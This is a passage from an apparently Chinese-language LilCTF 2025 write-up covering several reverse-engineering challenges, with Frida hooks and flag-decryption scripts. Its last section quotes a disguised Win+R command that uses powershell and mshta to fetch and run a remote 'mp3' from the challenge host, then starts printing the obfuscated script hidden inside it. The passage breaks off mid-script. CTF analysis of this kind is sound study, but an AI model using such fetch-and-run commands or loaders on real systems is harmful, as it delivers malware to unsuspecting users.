class="built_in">print</span>(rand_sequence)</span><br><span class="line"><span class="comment"># [19574, 32184, 18276, 20728, 17319, 13256, 26503, 27092, 19582, 24897, 16484, 4005, 19731, 32681, 8697, 23744, 6006, 30110, 509, 13132]</span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/107ebd19-2a35-45c0-ab48-14a91df322b0.png"></p><p>继续运行到了第二处加密的位置, 同时会输出encrypt done start compare, 后续就是判断flag是否正确了, 懒得在IDA动调跟, 写了个frida hook memcmp函数获取密文</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> memcmpPtr = <span class="title class_">Module</span>.<span class="title function_">getExportByName</span>(<span class="string">&quot;msvcrt.dll&quot;</span>, <span class="string">&quot;memcmp&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (memcmpPtr) &#123;</span><br><span class="line">    <span class="title class_">Interceptor</span>.<span class="title function_">attach</span>(memcmpPtr, &#123;</span><br><span class="line">        <span class="attr">onEnter</span>: <span class="keyword">function</span>(<span class="params">args</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> size = args[<span class="number">2</span>].<span class="title function_">toInt32</span>();</span><br><span class="line">            <span class="keyword">if</span> (size &gt;= <span class="number">30</span> &amp;&amp; size &lt;= <span class="number">50</span>) &#123;</span><br><span class="line">                <span class="keyword">var</span> buf1 = <span class="title class_">Memory</span>.<span class="title function_">readByteArray</span>(args[<span class="number">0</span>], size);</span><br><span class="line">                <span class="keyword">var</span> buf2 = <span class="title class_">Memory</span>.<span class="title function_">readByteArray</span>(args[<span class="number">1</span>], size);</span><br><span class="line">                <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[&quot;</span> + <span class="title class_">Array</span>.<span class="title function_">from</span>(<span class="keyword">new</span> <span class="title class_">Uint8Array</span>(buf1)).<span class="title function_">map</span>(<span class="function"><span class="params">b</span> =&gt;</span> <span class="string">&quot;0x&quot;</span> + b.<span class="title function_">toString</span>(<span class="number">16</span>).<span class="title function_">toUpperCase</span>()).<span class="title function_">join</span>(<span class="string">&quot;, &quot;</span>) + <span class="string">&quot;]&quot;</span>);</span><br><span class="line">                <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[&quot;</span> + <span class="title class_">Array</span>.<span class="title function_">from</span>(<span class="keyword">new</span> <span class="title class_">Uint8Array</span>(buf2)).<span class="title function_">map</span>(<span class="function"><span class="params">b</span> =&gt;</span> <span class="string">&quot;0x&quot;</span> + b.<span class="title function_">toString</span>(<span class="number">16</span>).<span class="title function_">toUpperCase</span>()).<span class="title function_">join</span>(<span class="string">&quot;, &quot;</span>) + <span class="string">&quot;]&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[!] memcmp function not found!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//[0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xEF, 0xC7, 0x8D, 0x3, 0xCF, 0x34, 0x39, 0x41, 0xBE, 0x47, 0x2D, 0x1C, 0x48, 0xEF, 0x8F, 0x7F, 0xF8, 0xD0, 0xFA, 0xFA, 0x2F, 0x81, 0xFD, 0x73, 0xAA, 0x6, 0x1E, 0xAB, 0x7B, 0x40, 0xEB, 0x67, 0xB9, 0xDF, 0x1B]</span></span><br></pre></td></tr></table></figure><p>最终解密脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ciphertext = [<span class="number">0x5C</span>, <span class="number">0xAF</span>, <span class="number">0xB0</span>, <span class="number">0x1C</span>, <span class="number">0xFC</span>, <span class="number">0xEF</span>, <span class="number">0xC7</span>, <span class="number">0x8D</span>, <span class="number">0x03</span>, <span class="number">0xCF</span>, <span class="number">0x34</span>, <span class="number">0x39</span>, <span class="number">0x41</span>, <span class="number">0xBE</span>, <span class="number">0x47</span>, <span class="number">0x2D</span>, <span class="number">0x1C</span>, <span class="number">0x48</span>, <span class="number">0xEF</span>, <span class="number">0x8F</span>, <span class="number">0x7F</span>, <span class="number">0xF8</span>, <span class="number">0xD0</span>, <span class="number">0xFA</span>, <span class="number">0xFA</span>, <span class="number">0x2F</span>, <span class="number">0x81</span>, <span class="number">0xFD</span>, <span class="number">0x73</span>, <span class="number">0xAA</span>, <span class="number">0x06</span>, <span class="number">0x1E</span>, <span class="number">0xAB</span>, <span class="number">0x7B</span>, <span class="number">0x40</span>, <span class="number">0xEB</span>, <span class="number">0x67</span>, <span class="number">0xB9</span>, <span class="number">0xDF</span>, <span class="number">0x1B</span>]</span><br><span class="line">rand_sequence = [<span class="number">19574</span>, <span class="number">32184</span>, <span class="number">18276</span>, <span class="number">20728</span>, <span class="number">17319</span>, <span class="number">13256</span>, <span class="number">26503</span>, <span class="number">27092</span>, <span class="number">19582</span>, <span class="number">24897</span>, <span class="number">16484</span>, <span class="number">4005</span>, <span class="number">19731</span>, <span class="number">32681</span>, <span class="number">8697</span>, <span class="number">23744</span>, <span class="number">6006</span>, <span class="number">30110</span>, <span class="number">509</span>, <span class="number">13132</span>]</span><br><span class="line"></span><br><span class="line">step1 = [~byte &amp; <span class="number">0xFF</span> <span class="keyword">for</span> byte <span class="keyword">in</span> ciphertext]</span><br><span class="line">step2 = [((byte &amp; <span class="number">0xF0</span>) &gt;&gt; <span class="number">4</span>) | ((byte &amp; <span class="number">0x0F</span>) &lt;&lt; <span class="number">4</span>) <span class="keyword">for</span> byte <span class="keyword">in</span> step1]</span><br><span class="line"></span><br><span class="line">result = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(step2), <span class="number">2</span>):</span><br><span class="line">    encrypted_word = step2[i] | (step2[i+<span class="number">1</span>] &lt;&lt; <span class="number">8</span>)</span><br><span class="line">    original_word = encrypted_word ^ rand_sequence[i // <span class="number">2</span>]</span><br><span class="line">    result.extend([original_word &amp; <span class="number">0xFF</span>, (original_word &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFF</span>])</span><br><span class="line"></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">chr</span>(b) <span class="keyword">for</span> b <span class="keyword">in</span> result)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"><span class="comment"># LILCTF&#123;wh@t_ls_D@7@fl0W_C@N_1t_B3_e4teN&#125;</span></span><br></pre></td></tr></table></figure><h3 id="Oh-My-Uboot"><a href="#Oh-My-Uboot" class="headerlink" title="Oh_My_Uboot"></a><strong>Oh_My_Uboot</strong></h3><p>固件题, ARMv7架构的, 直接上qemu + gdb跑一下</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/3623ac59-f349-486e-863e-3bdd80ce411b.png"></p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/7b44c8f3-01ff-4521-9dd9-f50b876c89cc.png"></p><p>直接按continue会要求输入password, IDA打开u-boot文件搜字符串没找到这个字符串, 应该是被加密了</p><p>预期使用gdb调试然后看调用栈来定位验证password的地方, 但是调了两个小时也没搞出来, 然后在网上了解了一下u-boot, 发现他启动之后会执行一个死循环, 用来执行shell命令, 于是尝试搜索bootcmd字符串来定位代码</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/db7c7128-49e7-4813-b9ce-966c2eb8b446.png"></p><p>定位到这里, 这几个函数都没啥用，往上查交叉引用, 可以看到sub_60813F74函数</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/015e7818-135d-4507-845a-bace4d128118.png"></p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/5da0a16b-bf87-416c-aff3-28deef635e60.png"></p><p>发现硬编码了一串字符串, 显然加密的 password , 算法也不难, 先 xor 0x72 然后再 base58 编码, 解密逆着来就行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">base58_decode</span>(<span class="params">encoded, charset</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> encoded:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    num = <span class="number">0</span></span><br><span class="line">    base = <span class="built_in">len</span>(charset)</span><br><span class="line">    <span class="keyword">for</span> char <span class="keyword">in</span> encoded:</span><br><span class="line">        num = num * base + charset.index(char)</span><br><span class="line">    decoded = []</span><br><span class="line">    <span class="keyword">while</span> num &gt; <span class="number">0</span>:</span><br><span class="line">        num, remainder = <span class="built_in">divmod</span>(num, <span class="number">256</span>)</span><br><span class="line">        decoded.insert(<span class="number">0</span>, remainder)</span><br><span class="line">    <span class="keyword">for</span> char <span class="keyword">in</span> encoded:</span><br><span class="line">        <span class="keyword">if</span> char == charset[<span class="number">0</span>]:</span><br><span class="line">            decoded.insert(<span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(decoded)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>():</span><br><span class="line">    target = <span class="string">&quot;5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;&quot;</span></span><br><span class="line">    charset = <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">chr</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">48</span>, <span class="number">106</span>))</span><br><span class="line">    decoded_bytes = base58_decode(target, charset)</span><br><span class="line">    password = <span class="built_in">bytes</span>(b ^ <span class="number">0x72</span> <span class="keyword">for</span> b <span class="keyword">in</span> decoded_bytes).decode(<span class="string">&#x27;ascii&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> password</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="built_in">print</span>(decrypt())</span><br><span class="line"><span class="comment"># LILCTF&#123;Ub007_1s_v3ry_ez&#125;</span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/d6ee7f83-32ff-4246-813e-c7d79184d6d0.png"></p><p>和猜想一样, 验证完之后就进入死循环，检测命令了</p><h3 id="Qt-Creator"><a href="#Qt-Creator" class="headerlink" title="Qt_Creator"></a><strong>Qt_Creator</strong></h3><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/14675df2-6349-4ebd-b0ca-e9d69e212925.png"></p><p>直接搜字符串就好了, 然后交叉引用找到关键函数</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/9f57f1c3-b67f-45ce-aaab-468993daa824.png"></p><p>这是qt的构造函函数, 其他组件也会在这里注册, 找到了密文. 加密函数如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">_DWORD *__thiscall <span class="title function_">sub_40FFF0</span><span class="params">(_DWORD *this, <span class="type">int</span> a2, <span class="type">int</span> a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  _DWORD *v3; <span class="comment">// ecx</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  _DWORD *v5; <span class="comment">// edx</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// ebx</span></span><br><span class="line">  <span class="type">int</span> v7; <span class="comment">// edi</span></span><br><span class="line">  __int16 v8; <span class="comment">// si</span></span><br><span class="line">  <span class="type">int</span> v9; <span class="comment">// eax</span></span><br><span class="line">  __int16 v11; <span class="comment">// si</span></span><br><span class="line">  <span class="type">int</span> v12; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v13; <span class="comment">// [esp+4h] [ebp-38h]</span></span><br><span class="line">  <span class="type">bool</span> v14; <span class="comment">// [esp+8h] [ebp-34h]</span></span><br><span class="line"></span><br><span class="line">  v3 = *(_DWORD **)a3;</span><br><span class="line">  <span class="keyword">if</span> ( *(<span class="type">int</span> *)(*(_DWORD *)a3 + <span class="number">4</span>) &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v4 = <span class="number">0</span>;</span><br><span class="line">    v5 = *(_DWORD **)a3;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v6 = <span class="number">2</span> * v4;</span><br><span class="line">      v7 = v4 + <span class="number">1</span>;</span><br><span class="line">      v8 = *(_WORD *)((<span class="type">char</span> *)v3 + <span class="number">2</span> * v4 + v3[<span class="number">3</span>]);</span><br><span class="line">      <span class="keyword">if</span> ( (v4 &amp; <span class="number">1</span>) != <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( v4 &gt;= v5[<span class="number">1</span>] )</span><br><span class="line">        &#123;</span><br><span class="line">          LOWORD(v13) = <span class="number">32</span>;</span><br><span class="line">          QString::resize(a3, v7, v13);</span><br><span class="line">          v5 = *(_DWORD **)a3;</span><br><span class="line">          v3 = *(_DWORD **)a3;</span><br><span class="line">          v9 = *(_DWORD *)(*(_DWORD *)a3 + <span class="number">12</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> ( *v5 &gt; <span class="number">1u</span> || (v9 = v5[<span class="number">3</span>], v3 = v5, v9 != <span class="number">16</span>) )</span><br><span class="line">        &#123;</span><br><span class="line">          QString::reallocData((QString *)(v5[<span class="number">1</span>] + <span class="number">1</span>), <span class="number">0</span>, v14);</span><br><span class="line">          v5 = *(_DWORD **)a3;</span><br><span class="line">          v9 = *(_DWORD *)(*(_DWORD *)a3 + <span class="number">12</span>);</span><br><span class="line">          v3 = *(_DWORD **)a3;</span><br><span class="line">        &#125;</span><br><span class="line">        *(_WORD *)((<span class="type">char</span> *)v5 + v6 + v9) = v8 - <span class="number">1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        v11 = v8 + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">if</span> ( *v3 &gt; <span class="number">1u</span> || (v12 = v5[<span class="number">3</span>], v3 = v5, v12 != <span class="number">16</span>) )</span><br><span class="line">        &#123;</span><br><span class="line">          QString::reallocData((QString *)(v5[<span class="number">1</span>] + <span class="number">1</span>), <span class="number">0</span>, v14);</span><br><span class="line">          v5 = *(_DWORD **)a3;</span><br><span class="line">          v12 = *(_DWORD *)(*(_DWORD *)a3 + <span class="number">12</span>);</span><br><span class="line">          v3 = *(_DWORD **)a3;</span><br><span class="line">        &#125;</span><br><span class="line">        *(_WORD *)((<span class="type">char</span> *)v5 + v6 + v12) = v11;</span><br><span class="line">      &#125;</span><br><span class="line">      v4 = v7;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v5[<span class="number">1</span>] &gt; v7 );</span><br><span class="line">  &#125;</span><br><span class="line">  *this = v3;</span><br><span class="line">  *(_DWORD *)a3 = QArrayData::shared_null;</span><br><span class="line">  <span class="keyword">return</span> this;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>直接给出解密脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">fragments = [</span><br><span class="line">    <span class="string">&quot;KJKDS&quot;</span>,</span><br><span class="line">    <span class="string">&quot;GzR6`&quot;</span>,</span><br><span class="line">    <span class="string">&quot;bsd5s&quot;</span>,</span><br><span class="line">    <span class="string">&quot;1q`0t&quot;</span>,</span><br><span class="line">    <span class="string">&quot;^wdsx&quot;</span>,</span><br><span class="line">    <span class="string">&quot;`b1mw&quot;</span>,</span><br><span class="line">    <span class="string">&quot;2oh4mu|&quot;</span></span><br><span class="line">]</span><br><span class="line">base_str = <span class="string">&quot;&quot;</span>.join(fragments)</span><br><span class="line">flag_chars = []</span><br><span class="line"><span class="keyword">for</span> i, char <span class="keyword">in</span> <span class="built_in">enumerate</span>(base_str):</span><br><span class="line">    char_code = <span class="built_in">ord</span>(char)</span><br><span class="line">    <span class="keyword">if</span> i % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">        new_char_code = char_code + <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        new_char_code = char_code - <span class="number">1</span></span><br><span class="line">    flag_chars.append(<span class="built_in">chr</span>(new_char_code))</span><br><span class="line">final_flag = <span class="string">&quot;&quot;</span>.join(flag_chars)</span><br><span class="line"><span class="built_in">print</span>(final_flag)</span><br><span class="line"><span class="comment"># LILCTF&#123;Q7_cre4t0r_1s_very_c0nv3ni3nt&#125;</span></span><br></pre></td></tr></table></figure><h3 id="ARM-ASM"><a href="#ARM-ASM" class="headerlink" title="ARM ASM"></a><strong>ARM</strong> <strong>ASM</strong></h3><p>Android题, 关键逻辑在so的JNI函数里面，难度不大, 加密过程很直观, 直接放解密脚本了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_ctf</span>(<span class="params">ciphertext</span>):</span><br><span class="line">    custom_base64 = <span class="string">&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">custom_base64_decode</span>(<span class="params">s</span>):</span><br><span class="line">        result = <span class="built_in">bytearray</span>()</span><br><span class="line">        s = s.rstrip(<span class="string">&#x27;=&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        bits = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> s:</span><br><span class="line">            <span class="keyword">if</span> c <span class="keyword">in</span> custom_base64:</span><br><span class="line">                bits += <span class="built_in">format</span>(custom_base64.index(c), <span class="string">&#x27;06b&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(bits) - <span class="built_in">len</span>(bits) % <span class="number">8</span>, <span class="number">8</span>):</span><br><span class="line">            byte_bits = bits[i:i+<span class="number">8</span>]</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">len</span>(byte_bits) == <span class="number">8</span>:</span><br><span class="line">                result.append(<span class="built_in">int</span>(byte_bits, <span class="number">2</span>))</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">bytes</span>(result)</span><br><span class="line">    </span><br><span class="line">    encrypted_data = custom_base64_decode(ciphertext)</span><br><span class="line">    data = <span class="built_in">bytearray</span>(encrypted_data)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">48</span>, <span class="number">3</span>):</span><br><span class="line">        data[j] = ((data[j] &lt;&lt; <span class="number">5</span>) | (data[j] &gt;&gt; <span class="number">3</span>)) &amp; <span class="number">0xFF</span></span><br><span class="line">        data[j + <span class="number">1</span>] = ((data[j + <span class="number">1</span>] &lt;&lt; <span class="number">1</span>) | (data[j + <span class="number">1</span>] &gt;&gt; <span class="number">7</span>)) &amp; <span class="number">0xFF</span></span><br><span class="line">    </span><br><span class="line">    t_table = <span class="built_in">bytes</span>([<span class="number">0xD</span>, <span class="number">0xE</span>, <span class="number">0xF</span>, <span class="number">0xC</span>, <span class="number">0xB</span>, <span class="number">0xA</span>, <span class="number">9</span>, <span class="number">8</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="number">0</span>])</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">        table = <span class="built_in">bytearray</span>(t_table)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> prev_i <span class="keyword">in</span> <span class="built_in">range</span>(i):</span><br><span class="line">            <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">                table[k] ^= prev_i</span><br><span class="line">        </span><br><span class="line">        block = <span class="built_in">bytearray</span>(data[<span class="number">16</span> * i:<span class="number">16</span> * (i + <span class="number">1</span>)])</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">            block[k] ^= table[k]</span><br><span class="line">        </span><br><span class="line">        original_block = <span class="built_in">bytearray</span>(<span class="number">16</span>)</span><br><span class="line">        <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                pos = table.index(k)</span><br><span class="line">                <span class="keyword">if</span> pos &lt; <span class="built_in">len</span>(block):</span><br><span class="line">                    original_block[k] = block[pos]</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    original_block[k] = block[k] <span class="keyword">if</span> k &lt; <span class="built_in">len</span>(block) <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line">            <span class="keyword">except</span> ValueError:</span><br><span class="line">                original_block[k] = block[k] <span class="keyword">if</span> k &lt; <span class="built_in">len</span>(block) <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line">        </span><br><span class="line">        data[<span class="number">16</span> * i:<span class="number">16</span> * (i + <span class="number">1</span>)] = original_block</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> data.decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line"></span><br><span class="line">ciphertext = <span class="string">&quot;KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S&quot;</span></span><br><span class="line">result = decrypt_ctf(ciphertext)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Flag: <span class="subst">&#123;result&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="1’M-no7-A-rO6oT"><a href="#1’M-no7-A-rO6oT" class="headerlink" title="1’M no7 A rO6oT"></a><strong>1’M no7 A rO6oT</strong></h3><p>复制到win+r的命令</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell . &quot;C:\Windows\System32\mshta.exe&quot; http://challenge.xinshi.fun:<span class="number">41166</span>/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:<span class="number">41166</span>/Coloringoutomic_Host.mp3</span><br></pre></td></tr></table></figure><p>用winhex打开这个mp3，发现有script标签</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">window</span>.<span class="title function_">resizeTo</span>(<span class="number">0</span>, <span class="number">0</span>);<span class="variable language_">window</span>.<span class="title function_">moveTo</span>(-<span class="number">9999</span>, -<span class="number">9999</span>); <span class="variable constant_">SK</span>=<span class="number">102</span>;<span class="variable constant_">UP</span>=<span class="number">117</span>;tV=<span class="number">110</span>;<span class="title class_">Fx</span>=<span class="number">99</span>;nI=<span class="number">116</span>;pV=<span class="number">105</span>;wt=<span class="number">111</span>;<span class="variable constant_">RV</span>=<span class="number">32</span>;wV=<span class="number">82</span>;<span class="title class_">Rp</span>=<span class="number">106</span>;kz=<span class="number">81</span>;<span class="variable constant_">CX</span>=<span class="number">78</span>;<span class="variable constant_">GH</span>=<span class="number">40</span>;<span class="variable constant_">PS</span>=<span class="number">70</span>;<span class="variable constant_">YO</span>=<span class="number">86</span>;kF=<span class="number">75</span>;<span class="variable constant_">PO</span>=<span class="number">113</span>;<span class="variable constant_">QF</span>=<span class="number">41</span>;sZ=<span class="number">123</span>;nd=<span class="number">118</span>;<span class="title class_">Ge</span>=<span class="number">97</span>;sV=<span class="number">114</span>;wl=<span class="number">104</span>;<span class="variable constant_">NL</span>=<span class="number">121</span>;<span class="title class_">Ep</span>=<span class="number">76</span>;uS=<span class="number">98</span>;<span class="title class_">Lj</span>=<span class="number">103</span>;<span class="variable constant_">ST</span>=<span class="number">61</span>;<span class="title class_">Ix</span>=<span class="number">34</span>;<span class="title class_">Im</span>=<span class="number">59</span>;<span class="title class_">Gm</span>=<span class="number">101</span>;<span class="variable constant_">YZ</span>=<span class="number">109</span>;<span class="title class_">Xj</span>=<span class="number">71</span>;<span class="title class_">Fi</span>=<span class="number">48</span>;dL=<span class="number">60</span>;cX=<span class="number">46</span>;ho=<span class="number">108</span>;jF=<span class="number">43</span>;<span class="title class_">Gg</span>=<span class="number">100</span>;aV=<span class="number">90</span>;uD=<span class="number">67</span>;<span class="title class_">Nj</span>=<span class="number">83</span>;<span class="variable constant_">US</span>=<span class="number">91</span>;tg=<span class="number">93</span>;vx=<span class="number">45</span>;xv=<span class="number">54</span>;<span class="variable constant_">QB</span>=<span class="number">49</span>;<span class="variable 